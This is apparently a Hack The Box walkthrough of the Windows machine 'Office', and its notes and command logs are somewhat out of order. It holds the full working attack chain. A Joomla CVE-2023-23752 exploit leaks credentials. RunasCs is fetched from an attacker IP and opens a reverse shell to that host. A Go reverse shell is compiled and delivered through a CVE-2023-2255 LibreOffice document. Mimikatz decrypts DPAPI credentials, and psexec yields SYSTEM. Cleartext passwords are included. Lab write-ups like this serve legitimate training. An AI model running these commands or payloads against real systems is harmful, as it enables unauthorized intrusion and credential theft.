Welp, office doesn't seem to be exploitable. But LibreOffice on the other hand, yes: CVE-2023-2255
The php thingy wasn't working so I decided to use straight up reverse shell. Since we are on windows we need exe to get connection and didn't really want to use msfvenom. Golang is perfect for cross platform and that's what I used.https://github.com/gwillgues/reverse-shells/blob/742b83866b56/revshell.go
Compile:
Create exploit:
Upload and wait, took some time to get connection back.
Usually each master keys is an encrypted symmetric key that can decrypt other content. Therefore, extracting the encrypted Master Key is interesting in order to decrypt later that other content encrypted with it.src
Creds: hhogan:H4ppyFtW183#
TLDR;
Find master keys
Inject master keys via /rpc
If lucky it will get decrypted and will be in cache
Dump creds file for credentials
-- Turns out if user is logged in then we are indeed "Lucky"!
Privilege Escalation (system)
Start bloodhound to get idea of AD and maybe pwn GPO
Show all users: MATCH (u: User) RETURN u
Writeup-13.png
User > Outbound Object Control > Transitive Object Control.
The user has GenericWrite permission on domain policies.
Writeup-14.png
Policy affects the domain controller
Writeup-15.png
GPO Abuse
Get group policy related commands:
Get-GPO -All can be used to view all the policies.
The original idea with Privilege Escalation was to add user to admin group and that's it, pwned. But since it's htb box has a cleanup script and doesn't let us do it.
Root.txt
Anyway, get the flag via reverse shell.
psexec could also have been used for privilege escalation:
└─$ dig office.htb @10.10.11.3 any
; <<>> DiG 9.19.21-1-Debian <<>> office.htb @10.10.11.3 any
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 58559
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 4, AUTHORITY: 0, ADDITIONAL: 2
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4000
;; QUESTION SECTION:
;office.htb. IN ANY
;; ANSWER SECTION:
office.htb. 600 IN A 10.10.11.3
office.htb. 600 IN A 10.250.0.30
office.htb. 3600 IN NS dc.office.htb.
office.htb. 3600 IN SOA dc.office.htb. hostmaster.office.htb. 64 900 600 86400 3600
;; ADDITIONAL SECTION:
dc.office.htb. 3600 IN A 10.10.11.3
;; Query time: 87 msec
;; SERVER: 10.10.11.3#53(10.10.11.3) (TCP)
;; WHEN: Mon Jun 17 16:19:28 EDT 2024
;; MSG SIZE rcvd: 151
##### http://10.10.11.3/robots.txt
# If the Joomla site is installed within a folder
# eg www.example.com/joomla/ then the robots.txt file
# MUST be moved to the site root
# eg www.example.com/robots.txt
# AND the joomla folder name MUST be prefixed to all of the
# paths.
# eg the Disallow rule for the /administrator/ folder MUST
# be changed to read
# Disallow: /joomla/administrator/
#
# For more information about the robots.txt standard, see:
# https://www.robotstxt.org/orig.html
User-agent: *
Disallow: /administrator/
Disallow: /api/
Disallow: /bin/
Disallow: /cache/
Disallow: /cli/
Disallow: /components/
Disallow: /includes/
Disallow: /installation/
Disallow: /language/
Disallow: /layouts/
Disallow: /libraries/
Disallow: /logs/
Disallow: /modules/
Disallow: /plugins/
Disallow: /tmp/
└─$ joomscan -u office.htb | tee joomscan2.log
(1337.today)
--=[OWASP JoomScan
+---++---==[Version : 0.0.7
+---++---==[Update Date : [2018/09/23]
+---++---==[Authors : Mohammad Reza Espargham , Ali Razmjoo
--=[Code name : Self Challenge
@OWASP_JoomScan , @rezesp , @Ali_Razmjo0 , @OWASP
Processing http://office.htb ...
[+] FireWall Detector
[++] Firewall not detected
[+] Detecting Joomla Version
[++] Joomla 4.2.7
[+] Core Joomla Vulnerability
[++] Target Joomla core is not vulnerable
[+] Checking Directory Listing
[++] directory has directory listing :
http://office.htb/administrator/components
http://office.htb/administrator/modules
http://office.htb/administrator/templates
http://office.htb/images/banners
[+] Checking apache info/status files
[++] Readable info/status files are not found
[+] admin finder
[++] Admin page : http://office.htb/administrator/
[+] Checking robots.txt existing
[++] robots.txt is found
path : http://office.htb/robots.txt
Interesting path found from robots.txt
http://office.htb/joomla/administrator/
http://office.htb/administrator/
...
[+] Finding common backup files name
[++] Backup files are not found
[+] Finding common log files name
[++] error log is not found
[+] Checking sensitive config.php.x file
[++] Readable config files are not found
Your Report : reports/office.htb/
└─$ py CVE-2023-23752.py -u http://office.htb
Coded By: K3ysTr0K3R --> Hug me ʕっ•ᴥ•ʔっ
[*] Checking if target is vulnerable
[+] Target is vulnerable
[*] Launching exploit against: http://office.htb
---------------------------------------------------------------------------------------------------------------
[*] Checking if target is vulnerable for usernames at path: /api/index.php/v1/users?public=true
[+] Target is vulnerable for usernames
[+] Gathering username(s) for: http://office.htb
[+] Username: Administrator
---------------------------------------------------------------------------------------------------------------
[*] Checking if target is vulnerable for passwords at path: /api/index.php/v1/config/application?public=true
[+] Target is vulnerable for passwords
[+] Gathering password(s) for: http://office.htb
...
[+] Password: H0lOgrams4reTakIng0Ver754!
...
└─$ netexec smb office.htb --rid-brute -u 'dwolfe' -p 'H0lOgrams4reTakIng0Ver754!'
SMB 10.10.11.3 445 DC [*] Windows Server 2022 Build 20348 (name:DC) (domain:office.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.3 445 DC [+] office.htb\dwolfe:H0lOgrams4reTakIng0Ver754!
SMB 10.10.11.3 445 DC 498: OFFICE\Enterprise Read-only Domain Controllers (SidTypeGroup)
SMB 10.10.11.3 445 DC 500: OFFICE\Administrator (SidTypeUser)
SMB 10.10.11.3 445 DC 501: OFFICE\Guest (SidTypeUser)
SMB 10.10.11.3 445 DC 502: OFFICE\krbtgt (SidTypeUser)
SMB 10.10.11.3 445 DC 512: OFFICE\Domain Admins (SidTypeGroup)
SMB 10.10.11.3 445 DC 513: OFFICE\Domain Users (SidTypeGroup)
SMB 10.10.11.3 445 DC 514: OFFICE\Domain Guests (SidTypeGroup)
SMB 10.10.11.3 445 DC 515: OFFICE\Domain Computers (SidTypeGroup)
SMB 10.10.11.3 445 DC 516: OFFICE\Domain Controllers (SidTypeGroup)
SMB 10.10.11.3 445 DC 517: OFFICE\Cert Publishers (SidTypeAlias)
SMB 10.10.11.3 445 DC 518: OFFICE\Schema Admins (SidTypeGroup)
SMB 10.10.11.3 445 DC 519: OFFICE\Enterprise Admins (SidTypeGroup)
SMB 10.10.11.3 445 DC 520: OFFICE\Group Policy Creator Owners (SidTypeGroup)
SMB 10.10.11.3 445 DC 521: OFFICE\Read-only Domain Controllers (SidTypeGroup)
SMB 10.10.11.3 445 DC 522: OFFICE\Cloneable Domain Controllers (SidTypeGroup)
SMB 10.10.11.3 445 DC 525: OFFICE\Protected Users (SidTypeGroup)
SMB 10.10.11.3 445 DC 526: OFFICE\Key Admins (SidTypeGroup)
SMB 10.10.11.3 445 DC 527: OFFICE\Enterprise Key Admins (SidTypeGroup)
SMB 10.10.11.3 445 DC 553: OFFICE\RAS and IAS Servers (SidTypeAlias)
SMB 10.10.11.3 445 DC 571: OFFICE\Allowed RODC Password Replication Group (SidTypeAlias)
SMB 10.10.11.3 445 DC 572: OFFICE\Denied RODC Password Replication Group (SidTypeAlias)
SMB 10.10.11.3 445 DC 1000: OFFICE\DC$ (SidTypeUser)
SMB 10.10.11.3 445 DC 1101: OFFICE\DnsAdmins (SidTypeAlias)
SMB 10.10.11.3 445 DC 1102: OFFICE\DnsUpdateProxy (SidTypeGroup)
SMB 10.10.11.3 445 DC 1106: OFFICE\Registry Editors (SidTypeGroup)
SMB 10.10.11.3 445 DC 1107: OFFICE\PPotts (SidTypeUser)
SMB 10.10.11.3 445 DC 1108: OFFICE\HHogan (SidTypeUser)
SMB 10.10.11.3 445 DC 1109: OFFICE\EWhite (SidTypeUser)
SMB 10.10.11.3 445 DC 1110: OFFICE\etower (SidTypeUser)
SMB 10.10.11.3 445 DC 1111: OFFICE\dwolfe (SidTypeUser)
SMB 10.10.11.3 445 DC 1112: OFFICE\dmichael (SidTypeUser)
SMB 10.10.11.3 445 DC 1113: OFFICE\dlanor (SidTypeUser)
SMB 10.10.11.3 445 DC 1114: OFFICE\tstark (SidTypeUser)
SMB 10.10.11.3 445 DC 1117: OFFICE\GPO Managers (SidTypeGroup)
SMB 10.10.11.3 445 DC 1118: OFFICE\web_account (SidTypeUser)
└─$ cat ridbrute.log | grep SidTypeUser | awk '{print($6)}' | awk -F'\\' '{print($2)}' > ../usernames2.txt
└─$ netexec smb office.htb -u dwolfe -p H0lOgrams4reTakIng0Ver754! --shares
SMB 10.10.11.3 445 DC [*] Windows Server 2022 Build 20348 (name:DC) (domain:office.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.3 445 DC [+] office.htb\dwolfe:H0lOgrams4reTakIng0Ver754!
SMB 10.10.11.3 445 DC [*] Enumerated shares
SMB 10.10.11.3 445 DC Share Permissions Remark
SMB 10.10.11.3 445 DC ----- ----------- ------
SMB 10.10.11.3 445 DC ADMIN$ Remote Admin
SMB 10.10.11.3 445 DC C$ Default share
SMB 10.10.11.3 445 DC IPC$ READ Remote IPC
SMB 10.10.11.3 445 DC NETLOGON READ Logon server share
SMB 10.10.11.3 445 DC SOC Analysis READ
SMB 10.10.11.3 445 DC SYSVOL READ Logon server share
└─$ smbclient -U 'office.htb\dwolfe%H0lOgrams4reTakIng0Ver754!' '//office.htb/SOC Analysis'
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Wed May 10 14:52:24 2023
.. DHS 0 Wed Feb 14 05:18:31 2024
Latest-System-Dump-8fbc124d.pcap A 1372860 Sun May 7 20:59:00 2023
6265599 blocks of size 4096. 1020044 blocks available
smb: \> get Latest-System-Dump-8fbc124d.pcap
getting file \Latest-System-Dump-8fbc124d.pcap of size 1372860 as Latest-System-Dump-8fbc124d.pcap (291.5 KiloBytes/sec) (average 291.5 KiloBytes/sec)
PS C:\Users> ls
Directory: C:\Users
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 1/22/2024 9:22 AM Administrator
d----- 1/18/2024 12:24 PM HHogan
d----- 1/22/2024 9:22 AM PPotts
d-r--- 1/18/2024 12:29 PM Public
d----- 1/18/2024 10:33 AM tstark
d----- 1/22/2024 9:22 AM web_account
PS C:\Users\Public> IWR -Uri 10.10.16.75/RunasCs.exe -OutFile rc.exe
PS C:\Users\Public> .\rc.exe tstark playboy69 powershell --logon-type 8 -r 10.10.16.75:4444
[*] Warning: The function CreateProcessWithLogonW is not compatible with the requested logon type '8'. Reverting to the Interactive logon type '2'. To force a specific logon type, use the flag combination --remote-impersonation and --logon-type.
[*] Warning: The logon for user 'tstark' is limited. Use the flag combination --bypass-uac and --logon-type '8' to obtain a more privileged token.
[+] Running in session 0 with process function CreateProcessWithLogonW()
[+] Using Station\Desktop: Service-0x0-9fcfb$\Default
[+] Async process 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' with pid 912 created in background.
---
PS C:\Windows\system32> whoami
office\tstark
PS C:\Windows\system32> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== ========
SeMachineAccountPrivilege Add workstations to domain Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
PS C:\Windows\system32> cd $HOME
PS C:\Users\tstark> tree /f /a
Folder PATH listing
Volume serial number is C626-9388
C:.
+---Desktop
| user.txt
|
+---Documents
+---Downloads
+---Favorites
+---Links
+---Music
+---OneDrive
+---Pictures
+---Saved Games
\---Videos
PS C:\Users\tstark> cat Desktop/user.txt
cat Desktop/user.txt
1656811f25cef42843e1d9f73513034e
PS C:\xampp\htdocs\internal> echo 'test' > applications/test
out-file : Access to the path 'C:\xampp\htdocs\internal\applications\test' is denied.
At line:1 char:1
+ echo 'test' > applications/test
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : OpenError: (:) [Out-File], UnauthorizedAccessException
+ FullyQualifiedErrorId : FileOpenFailure,Microsoft.PowerShell.Commands.OutFileCommand
PS C:\xampp\htdocs\internal> wmic product get caption,version # Took like a minute to complete...
Caption Version
Office 16 Click-to-Run Extensibility Component 16.0.17126.20132
Office 16 Click-to-Run Licensing Component 16.0.17126.20132
Microsoft Visual C++ 2022 X64 Minimum Runtime - 14.32.31332 14.32.31332
Microsoft Visual C++ 2022 X64 Additional Runtime - 14.32.31332 14.32.31332
LibreOffice 5.2.6.2 5.2.6.2
DefaultPackMSI 4.6.2.0
VMware Tools 12.0.6.20104755
Teams Machine-Wide Installer 1.5.0.30767
Microsoft Visual C++ 2019 X86 Additional Runtime - 14.29.30133 14.29.30133
Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.29.30133 14.29.30133
Microsoft Search in Bing 2.0.2
PS C:\xampp\htdocs\internal> cmd /c ver
Microsoft Windows [Version 10.0.20348.2322]
GOOS=windows GOARCH=amd64 go build -o rev.exe rev.go
└─$ python3 CVE-2023-2255.py --cmd 'C:\users\public\rev.exe 10.10.16.75 4444' --output 'pwn.odt'
File pwn.odt has been created !
PS C:\Program Files\LibreOffice 5\program> cmdkey /list
Currently stored credentials:
Target: LegacyGeneric:target=MyTarget
Type: Generic
User: MyUser
Target: Domain:interactive=office\hhogan
Type: Domain Password
User: office\hhogan
PS C:\Users\PPotts> vaultcmd /listcreds:"Windows Credentials" /all
Credentials in vault: Windows Credentials
Credential schema: Windows Domain Password Credential
Resource: Domain:interactive=office\hhogan
Identity: office\hhogan
Hidden: No
Roaming: No
Property (schema element id,value): (100,3)
PS C:\Program Files\LibreOffice 5\program> runas /savecred /user:office\hhogan "C:\Users\Public\rev.exe 10.10.16.75 4444"
Enter the password for office\hhogan:
PS C:\Users\PPotts\appdata> ls Local\Microsoft\Credentials -hidden
PS C:\Users\PPotts\appdata> ls Roaming\Microsoft\Credentials -hidden
Directory: C:\Users\PPotts\appdata\Roaming\Microsoft\Credentials
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a-hs- 5/9/2023 2:08 PM 358 18A1927A997A794B65E9849883AC3F3E
-a-hs- 5/9/2023 4:03 PM 398 84F1CAEEBF466550F4967858F9353FB4
-a-hs- 6/19/2024 6:11 AM 374 E76CCA3670CD9BB98DF79E0A8D176F1E
PS C:\Users\PPotts\appdata\roaming\microsoft\protect\S-1-5-21-1199398058-4196589450-691661856-1107> \users\public\mimi.exe
mimikatz # dpapi::masterkey /in:.\10811601-0fa9-43c2-97e5-9bef8471fc7d /rpc
...
[domainkey] with RPC
[DC] 'office.htb' will be the domain
[DC] 'DC.office.htb' will be the DC server
key : 3f891c81971ccacb02123a9dde170eaae918026ccc0a305b221d3582de4add84c900ae79f950132e4a70b0ef49dea6907b4f319c5dd10f60cc31cb1e3bc33024
sha1: fbab11cacdd8407e8db9604f0f8c92178bee6fd3
...
mimikatz # dpapi::masterkey /in:.\191d3f9d-7959-4b4d-a520-a444853c47eb /rpc
...
[domainkey] with RPC
[DC] 'office.htb' will be the domain
[DC] 'DC.office.htb' will be the DC server
key : 87eedae4c65e0db47fcbc3e7e337c4cce621157863702adc224caf2eedcfbdbaadde99ec95413e18b0965dcac70344ed9848cd04f3b9491c336c4bde4d1d8166
sha1: 85285eb368befb1670633b05ce58ca4d75c73c77
...
mimikatz # dpapi::masterkey /in:.\44383fc6-6086-474c-9c42-608f07bb2a75 /rpc
[domainkey] with RPC
[DC] 'office.htb' will be the domain
[DC] 'DC.office.htb' will be the DC server
key : d74394f087e83344b0afc1d9a103218ea1b42079663da47ee90475131dd0c5e4b70da680213ea810dae655512e8c823c727e07489f35675bb5c26b4d260e4d6a
sha1: ff18a9e2a3685e3df6b45f13fc94a3959094110a
...
mimikatz # dpapi::cache
CREDENTIALS cache
=================
MASTERKEYS cache
================
GUID:{10811601-0fa9-43c2-97e5-9bef8471fc7d};KeyHash:fbab11cacdd8407e8db9604f0f8c92178bee6fd3;Key:available
GUID:{44383fc6-6086-474c-9c42-608f07bb2a75};KeyHash:ff18a9e2a3685e3df6b45f13fc94a3959094110a;Key:available
DOMAINKEYS cache
================
mimikatz # dpapi::cred /in:C:\Users\PPotts\appdata\Roaming\Microsoft\Credentials\84F1CAEEBF466550F4967858F9353FB4
...
Decrypting Credential:
* volatile cache: GUID:{191d3f9d-7959-4b4d-a520-a444853c47eb};KeyHash:85285eb368befb1670633b05ce58ca4d75c73c77;Key:available
**CREDENTIAL**
credFlags : 00000030 - 48
credSize : 000000be - 190
credUnk0 : 00000000 - 0
Type : 00000002 - 2 - domain_password
Flags : 00000000 - 0
LastWritten : 5/9/2023 11:03:21 PM
unkFlagsOrSize : 00000018 - 24
Persist : 00000003 - 3 - enterprise
AttributeCount : 00000000 - 0
unk0 : 00000000 - 0
unk1 : 00000000 - 0
TargetName : Domain:interactive=OFFICE\HHogan
UnkData : (null)
Comment : (null)
TargetAlias : (null)
UserName : OFFICE\HHogan
CredentialBlob : H4ppyFtW183#
Attributes : 0
└─$ netexec winrm office.htb -u 'hhogan' -p 'H4ppyFtW183#'
WINRM 10.10.11.3 5985 DC [*] Windows Server 2022 Build 20348 (name:DC) (domain:office.htb)
WINRM 10.10.11.3 5985 DC [+] office.htb\hhogan:H4ppyFtW183# (Pwn3d!)
└─$ evil-winrm -i office.htb -u 'hhogan' -p 'H4ppyFtW183#'
Evil-WinRM shell v3.5
*Evil-WinRM* PS C:\Users\HHogan> whoami /all
User Name SID
============= =============================================
office\hhogan S-1-5-21-1199398058-4196589450-691661856-1108
Group Name Type SID Attributes
=========================================== ================ ============================================= ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
BUILTIN\Certificate Service DCOM Access Alias S-1-5-32-574 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
OFFICE\GPO Managers Group S-1-5-21-1199398058-4196589450-691661856-1117 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Plus Mandatory Level Label S-1-16-8448
Privilege Name Description State
============================= ============================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
Kerberos support for Dynamic Access Control on this device has been disabled.
┌──(root㉿kali)-[/home/h4x0r3rr0r]
└─# impacket-psexec HHogan:H4ppyFtW183#@10.10.11.3
Impacket v0.12.0.dev1 - Copyright 2023 Fortra
[*] Requesting shares on 10.10.11.3.....
[*] Found writable share ADMIN$
[*] Uploading file aYcaByTC.exe
[*] Opening SVCManager on 10.10.11.3.....
[*] Creating service zwBc on 10.10.11.3.....
[*] Starting service zwBc.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.20348.2322]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\system32> whoami
nt authority\system